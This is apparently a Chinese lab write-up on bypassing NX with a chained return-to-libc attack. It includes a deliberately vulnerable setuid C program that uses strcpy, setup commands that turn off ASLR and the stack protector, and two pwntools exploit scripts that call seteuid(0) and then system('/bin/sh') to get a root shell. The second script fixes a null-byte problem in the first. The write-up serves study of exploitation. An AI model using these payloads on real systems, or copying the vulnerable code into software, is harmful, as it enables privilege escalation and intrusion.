使用链式 return-to-libc 绕过 NX 位
漏洞代码
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
seteuid(getuid()); /* Temporarily drop privileges */
strcpy(buf,argv[1]);
printf("%s",buf);
fflush(stdout);
return 0;
}
编译
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
这篇也是跟之前学过的类似,有不同的地方就是setuid(0)。
这里可以看出缓冲区距离返回地址的距离为272-4 =268
采用与原文不同的rop链试试行不行。
接下来开始构造ROP
先尝试
setuid(0)
system('/bin/sh')
EXP
扫描二维码关注公众号,回复:
5921344 查看本文章
这里__libc_start_main_addr使用的是上一个程序里的,因为两者libc一样,所以节省了时间。
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
vuln = ELF('./vuln')
seteuid = vuln.symbols['seteuid']
print 'start get libcbase'
libc_start_main_addr = 0xf7e1d540
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
print 'success got libcbase'
system_addr = libcbase +libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
pop_ret = 0x08048493
payload = "A"*268 + p32(seteuid) + p32(pop_ret) +p32(0)+"AAAA" +p32(system_addr)+"AAAA"+p32(binsh_addr)
sh = process(['./vuln',payload])
sh.interactive()
我在直接使用python脚本的时候无法会提示参数错误,但是在GDB里使用该shellcode可以获取到shell
如图
目前还不知道原因。
时隔2个小时,知道了。
strcpy里不能遇到\x00结尾的,否则会结束输入。我们必须避免这个问题。
既然是0的问题,就用已知的0来替换0。
利用ROPgadget来搜索elf文件中存在的字符串'0'
然后直接调用setuid(0),再继续调用system('bin/sh')即可。
EXP
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
vuln = ELF('./vuln')
seteuid = vuln.symbols['seteuid']
print 'start get libcbase'
libc_start_main_addr = 0xf7e1d540
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
print 'success got libcbase'
system_addr = libcbase +libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
pop_ret = 0x08048493
payload = "A"*268 + p32(seteuid) + p32(pop_ret) +p32(0x08048220) +p32(system_addr)+"AAAA"+p32(binsh_addr)
sh = process(['./vuln',payload])
sh.interactive()